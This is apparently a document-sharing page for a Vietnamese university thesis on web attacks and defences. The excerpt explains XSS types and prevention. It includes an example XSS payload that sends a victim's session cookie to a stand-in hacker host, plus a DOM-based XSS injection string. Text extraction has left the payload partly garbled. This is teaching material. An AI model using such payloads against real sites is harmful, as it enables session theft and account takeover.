Đồ Án HCMUTE: Tấn Công và Giải Pháp Bảo Mật Web

Đồ án nghiên cứu hcmute các tấn công và giải pháp bảo mật web, áp dụng công nghệ tiên tiến, tối ưu giải pháp kỹ thuật cho bài toán .

Chuyên ngành

Công Nghệ Thông Tin

Người đăng

Ẩn danh

Thể loại

khóa luận tốt nghiệp

2019

113
3
0

Phí lưu trữ

35 Point

Mục lục chi tiết

LỜI MỞ ĐẦU

1. CHƯƠNG 1: TỔNG QUAN CÁC KỸ THUẬT TẤN CÔNG WEBSITE VÀ NGĂN CHẶN

1.1. Cross Site Scripting (XSS)

1.2. Cách thức tấn công

1.3. Các loại tấn công XSS

1.3.1. DOM Based XSS

1.4. Cách thức phòng chống

1.5. Cross-site Request Forgery (CSRF)

1.5.1. Cách thức tấn công

1.5.2. Cách thức phòng chống

1.6. Phía người dùng

1.7. SQL Injection là gì?

1.7.1. Cách thức tấn công

1.7.2. Cách thức phòng chống

1.8. Denial Of Service – Tấn công từ chối dịch vụ

1.8.1. Cách thức tấn công

1.8.2. Cách thức phòng chống

1.9. Kiến trúc tổng quan của DDOS

1.9.1. Phân loại tấn công DDOS

1.9.2. Cách thức phòng chống

1.10. Dựa trên vị trí triển khai

1.10.1. Dựa trên giao thức mạng

1.10.2. Dựa trên thời điểm hành động

2. CHƯƠNG 2: XÂY DỰNG HỆ THỐNG WEBSITE VÀ NHỮNG LỖ HỔNG BẢO MẬT TRÊN WEBSITE

2.1. Cơ sở lý thuyết

2.1.1. Giới thiệu về Golang

2.1.2. Ưu, nhược điểm của ngôn ngữ Golang

2.1.3. Cơ sở dữ liệu MySQL trong Golang

2.1.3.1. Giới thiệu MySQL
2.1.3.2. Kết nối MySQL tới Golang

2.1.4. Cài đặt Golang trên các môi trường

2.1.4.1. Cài đặt trên môi trường Windows
2.1.4.2. Cài đặt trên môi trường Linux/MacOS

2.2. Xác định yêu cầu

2.2.1. Yêu cầu chức năng

2.2.2. Yêu cầu phi chức năng

2.2.3. Lược đồ Use Case

2.2.3.1. Use Case người dùng
2.2.3.2. Use Case quản trị viên

2.3. Thiết kế website

2.3.1. Thiết kế cơ sở dữ liệu

2.3.2. Danh sách models

2.4. Các lỗi bảo mật trong website

2.4.1. Lỗi brute-force

2.4.2. Lỗi SQL Injection

2.4.3. Lỗi Session Hijacking

3. CHƯƠNG 3: XÂY DỰNG, THỰC HIỆN CÁC TẤN CÔNG WEBSITE VÀ NGĂN CHẶN

3.1. Tấn công vét cạn

3.1.1. Xây dựng Modul tấn công

3.1.2. Quá trình thực thi modul tấn công

3.1.3. Xây dựng modul ngăn chặn

3.2. Tấn công XSS

3.2.1. Xây dụng modul tấn công

3.2.2. Quá trình tấn công

3.2.3. Xây dựng modul ngăn chặn

3.3. Tấn công CRSF

3.3.1. Xây dựng modul tấn công

3.3.2. Quá trình tấn công

3.3.3. Xây dựng modul ngăn chặn

3.4. Tấn công Ddos

3.4.1. Công cụ tấn công

3.4.2. Quá trình tấn công

3.4.3. Thực thi modul ngăn chặn

3.5. Tấn công Sql Injection

3.5.1. Công cụ tấn công

3.5.2. Quá trình tấn công

3.5.3. Xây dựng model ngăn chặn

3.6. Tấn công Session Hijacking

3.6.1. Thực hiện công cụ tấn công

3.6.2. Quá trình tấn công

3.6.3. Xây dựng modul ngăn chặn

4. CHƯƠNG 4: KẾT LUẬN

4.1. Kết quả đạt được

4.2. Hướng phát triển

DANH MỤC TÀI LIỆU THAM KHẢO

Tóm tắt

I. Tổng quan về các tấn công mạng

Trong bối cảnh công nghệ thông tin phát triển mạnh mẽ, các tấn công mạng trở thành một vấn đề nghiêm trọng đối với bảo mật web. Các hình thức tấn công như Cross Site Scripting (XSS), SQL Injection, và Denial of Service (DoS) đã được phát hiện và ngày càng tinh vi hơn. Những tấn công này không chỉ gây thiệt hại về tài chính mà còn ảnh hưởng đến uy tín của tổ chức. Việc hiểu rõ về các hình thức tấn công này là cần thiết để có thể triển khai các giải pháp bảo mật hiệu quả.

1.1. Cross Site Scripting XSS

XSS là một trong những hình thức tấn công phổ biến nhất. Tấn công này cho phép kẻ tấn công chèn mã độc vào trang web, từ đó đánh cắp thông tin nhạy cảm của người dùng. Các loại XSS bao gồm Reflected XSS, Stored XSS, và DOM Based XSS. Mỗi loại có cách thức tấn công và mức độ nguy hiểm khác nhau. Đặc biệt, Stored XSS được coi là nguy hiểm nhất vì mã độc được lưu trữ trên máy chủ và có thể tấn công nhiều người dùng cùng lúc.

II. Các giải pháp bảo mật web

Để bảo vệ hệ thống khỏi các tấn công mạng, việc triển khai các giải pháp bảo mật là rất quan trọng. Các biện pháp này bao gồm việc sử dụng mã hóa dữ liệu, kiểm tra bảo mật thường xuyên, và giám sát hoạt động trên hệ thống. Việc áp dụng các tiêu chuẩn bảo mật như OWASP Top Ten cũng giúp giảm thiểu rủi ro. Ngoài ra, việc đào tạo người dùng về an toàn thông tin cũng là một phần không thể thiếu trong chiến lược bảo mật.

2.1. Mã hóa dữ liệu

Mã hóa dữ liệu là một trong những phương pháp hiệu quả nhất để bảo vệ thông tin nhạy cảm. Sử dụng các thuật toán mã hóa mạnh mẽ giúp đảm bảo rằng ngay cả khi dữ liệu bị đánh cắp, kẻ tấn công cũng không thể truy cập vào nội dung của nó. Việc mã hóa không chỉ áp dụng cho dữ liệu lưu trữ mà còn cho dữ liệu truyền tải qua mạng.

III. Đánh giá và phân tích các tấn công

Việc đánh giá các tấn công mạng và phân tích nguyên nhân gây ra là rất quan trọng để cải thiện an ninh mạng. Các công cụ như kiểm tra bảo mậtgiám sát hệ thống giúp phát hiện sớm các lỗ hổng và tấn công. Phân tích các sự cố bảo mật cũng giúp tổ chức rút ra bài học và cải thiện quy trình bảo mật trong tương lai.

3.1. Kiểm tra bảo mật

Kiểm tra bảo mật định kỳ giúp phát hiện các lỗ hổng trong hệ thống. Các phương pháp như penetration testingvulnerability scanning là những công cụ hữu ích trong việc này. Việc phát hiện sớm các lỗ hổng giúp tổ chức có thể khắc phục kịp thời trước khi kẻ tấn công lợi dụng.

01/02/2025

Trích đoạn nội dung tài liệu

Chương 1: TỔNG QUAN CÁC KỸ THUẬT TẤN CÔNG WEBSITE VÀ NGĂN CHẶN 1.1 Cross Site Scripting (XSS) 1.1 XSS là gì? Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công bằng cách chèn thêm những đoạn script có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào nguồn ứng dụng web để từ đó chúng được chạy như là một phần của ứng dụng web và có chức năng cung cấp hoặc thực hiện những những điều hacker muốn. Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng. Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân.2 Cách thức tấn công Tấn công Cross Site Scripting nghĩa là gửi và chèn lệnh kèm script độc hại, những mã độc này thường được viết với ngôn ngữ lập trình phía client như Javascript, HTML, VBScript, Flash… Tuy nhiên, cách tấn công này thông thường sử dụng Javascript và HTML.

Cách tấn công này có thể được thực hiện theo nhiều cách khác nhau, phụ thuộc vào loại tấn công XSS, những mã độc có thể được phản chiếu trên trình duyệt của nạn nhân hoặc được lưu trữ trong cơ sở dữ liệu và được chạy mỗi khi người dùng gọi chức năng thích hợp. Nguyên nhân chính của loại tấn công này là xác thực đầu vào dữ liệu người dùng không phù hợp, dữ liệu độc hại từ đầu vào có thể xâm nhập vào dữ liệu đầu ra. Mã độc có thể nhập một script và được chèn vào mã nguồn của website. Khi đó trình duyệt không thể biết mã 5 do an thực thi có phải độc hại hay không.

Do đó mã độc hại có thể đang được thực thi trên trình duyệt của nạn nhận hoặc bất kỳ hình thức giả nào đang được hiển thị cho người sử dụng. Có một số hình thức tấn công XSS có thể xảy ra. Bên dưới là những hình thức tấn công chính của Cross Site Scripting: -Cross Site Scripting có thể xảy ra trên tập lệnh độc hại được thực hiện ở phía client. -Trang web hoặc form giả mạo được hiển thị cho người dùng (nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào liên kết độc hại).

-Trên các trang web có quảng cáo được hiển thị. -Email độc hại được gửi đến nạn nhân. Tấn công xảy ra khi tin tặc tìm kiếm những lỗ hổng trên website và gửi nó làm đầu vào độc hại. Tập lệnh độc hại được tiêm vào mã lệnh và sau đó được gửi dưới dạng đầu ra cho người dùng cuối cùng.

Chúng ta hãy phân tích một ví dụ đơn giản sau đây: Giả sử chúng ta có 1 trang web với trường Search và lỗ hổng xuất hiện ở trường này, khi người dùng nhập bất kỳ đoạn script thì nó sẽ được thực thi. 6 do an Hình 1. Nhập Script web FourOrFour Lúc đó sau khi nhấn nút “Search”, script được nhập sẽ được thực hiện. : Thực hiện Search web FourOrFour Như chúng ta thấy trong ví dụ trên, script đã nhập vào trường Search được thực thi.

Điều này chỉ cho thấy lỗ hổng của cuộc tấn công XSS. Tuy nhiên, một tập lệnh có hại hơn cũng có thể được nhập. Nhiều Tester kết hợp tấn công Cross Site Scripting với Javascript Injection, cũng đang được thực hiện ở phía client. Trong cả hai, các script tấn công độc hại đang được tiêm.

Tuy nhiên, trong trường hợp tấn công XSS, các thẻ <script> không cần thiết để thực thi script.3 Các loại tấn công XSS  Có 3 dạng tấn công XSS chính: 7 do an 1.1 Reflected XSS Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website. Chi tiết được mô tả qua những bước sau: Hình 1.1: Miêu tả Chiếm phiên làm việc của người dùng -Người dùng đăng nhập web và giả sử được gán session: Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 -Bằng http://example.com/name=var+i=new+Image;+i.src=”http://hacker- site.cookie; -Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra. -Nạn nhân truy cập đến URL bên trên. -Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker).

-Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript. 8 do an -Đoạn javascript mà hacker tạo ra thực tế như sau: var i=new Image; i.src=”http://hacker-site.cookie; -Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng: GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1 -Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.g cách nào đó, hacker gửi được cho người dùng URL: 1.2 Stored XSS Khác với Reflected tấn công trực tiếp vào một số nạn nhân mà hacker nhắm đến, Stored XSS hướng đến nhiều nạn nhân hơn. Lỗi này xảy ra khi ứng dụng web không kiểm tra kỹ các dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu (ở đây tôi dùng khái niệm này để chỉ database, file hay những khu vực khác nhằm lưu trữ dữ liệu của ứng dụng web).

Ví dụ như các form góp ý, các comment … trên các trang web. Với kỹ thuật Stored XSS, hacker không khai thác trực tiếp mà phải thực hiện tối thiểu qua 2 bước. Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm. 9 do an Hình 1.1: Chèn đoạn mã vào cơ sở dữ liệu Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng.2: Đoạn mã của Hacker được thực thi trên trình duyệt Kịch bản khai thác theo mô hình trên: 10 do an Hình 1.3: Kịch bản khai thác mã độc của Hacker Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công: -Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình.

Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc. -Thứ hai, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã độc.

Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc. 11 do an Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả những người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web.3 DOM Based XSS DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML. Chúng ta cùng xem xét một ví dụ cụ thể sau.

Một website có URL đến trang đăng ký như sau: http://example.php?message= Please fill in the form Khi truy cập đến thì chúng ta thấy một Form rất bình thường Hình 1.1: Form đăng nhập bình thường Thay vì truyền dữ liệu : message=Please fill in the form Thì nó lại truyền : message=<label>Gender</label> <select class = "form-control" onchange="java_script_:show()"><option value="Male">Male</option><option value="Female">Female</option></select> <script>function show(){alert();}</script> Khi đấy form đăng ký sẽ trở thành như thế này: 12 do an Hình 1.2: Form đăng kí giả mạo Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này, và khi lựa chọn giới tính, Script sẽ được thực thi Hình 1.3: Script của Hacker được thực thi Kịch bản khai thác: 13 do an Hình 1.4: Kịch bản khai thác bằng Script 1.4 Cách thức phòng chống Mặc dù loại tấn công này được coi là một trong những loại nguy hiểm và rủi ro nhất, nhưng vẫn nên chuẩn bị một kế hoạch ngăn ngừa. Bởi vì sự phổ biến của cuộc tấn công này, có khá nhiều cách để ngăn chặn nó. Các phương pháp phòng ngừa chính được sử dụng phổ biến bao gồm:  Data validation  Filtering  Escaping Bước đầu tiên trong công tác phòng chống tấn công này là Xác thực đầu vào. Mọi thứ, được nhập bởi người dùng phải được xác thực chính xác, bởi vì đầu vào của người dùng có thể tìm đường đến đầu ra.

Xác thực dữ liệu có thể được đặt tên làm cơ sở để đảm bảo tính bảo mật của hệ thống. Tôi sẽ nhắc nhở rằng ý tưởng xác thực không cho phép đầu vào không phù hợp. Vì vậy nó chỉ giúp giảm thiểu rủi ro, nhưng có thể không đủ để ngăn chặn lỗ hổng XSS có thể xảy ra. Một phương pháp ngăn chặn tốt khác là lọc đầu vào của người dùng.

Ý tưởng lọc là tìm kiếm các từ khóa nguy hiểm trong mục nhập của người dùng và xóa chúng hoặc thay thế chúng bằng các chuỗi trống. Những từ khóa đó có thể là:  Thẻ <script> </ script>  Lệnh Javascript  Đánh dấu HTML Trong trường hợp này, một số developer viết mã riêng của họ để tìm kiếm các từ khóa thích hợp và xóa chúng. Tuy nhiên, cách dễ dàng hơn là chọn thư viện ngôn ngữ lập trình thích hợp để lọc đầu vào của người dùng. Tôi muốn lưu ý rằng việc 14 do an sử dụng thư viện là một cách đáng tin cậy hơn, vì các thư viện đó đã được nhiều nhà phát triển sử dụng và thử nghiệm.

Một phương pháp phòng ngừa khác có thể là ký tự Escape. Trong thực tế này, các ký tự thích hợp đang được thay đổi bằng các mã đặc biệt. Điều quan trọng cần biết là chúng ta có thể tìm thấy các thư viện thích hợp với ký tự escape.2 Cross-site Request Forgery (CSRF) 1.

Nội dung được bảo vệ bản quyền — Tải xuống đầy đủ

Bài viết "Các Tấn Công và Giải Pháp Bảo Mật Web tại HCMUTE" cung cấp cái nhìn tổng quan về các loại tấn công mạng phổ biến và những giải pháp bảo mật hiệu quả mà HCMUTE áp dụng. Nội dung bài viết không chỉ giúp người đọc hiểu rõ hơn về các mối đe dọa an ninh mạng mà còn hướng dẫn cách phòng tránh và khắc phục những rủi ro này. Đặc biệt, bài viết nhấn mạnh tầm quan trọng của việc bảo mật thông tin trong môi trường số ngày nay, từ đó nâng cao nhận thức và kỹ năng cho người dùng.

Nếu bạn muốn tìm hiểu thêm về các khía cạnh liên quan đến bảo mật thông tin, hãy tham khảo bài viết Tiểu luận báo cáo đồ án an toàn thông tin đề tài an toàn bảo mật trên hệ điều hành windows, nơi bạn sẽ tìm thấy những biện pháp bảo mật cụ thể cho hệ điều hành Windows. Ngoài ra, bài viết Luận văn thạc sĩ hcmute giải pháp quản trị bảo mật hệ thống mạng dựa vào kỹ thuật điều khiển truy cập và quản lý lỗ hổng sẽ cung cấp cho bạn những giải pháp quản lý bảo mật hệ thống mạng hiệu quả. Cuối cùng, bạn có thể khám phá thêm về Luận văn thạc sĩ kiểm chứng sự tuân thủ giữa đặc tả điều khiển truy cập và cài đặt, giúp bạn hiểu rõ hơn về việc đảm bảo tuân thủ trong các hệ thống bảo mật. Những tài liệu này sẽ mở rộng kiến thức của bạn về bảo mật mạng và an toàn thông tin.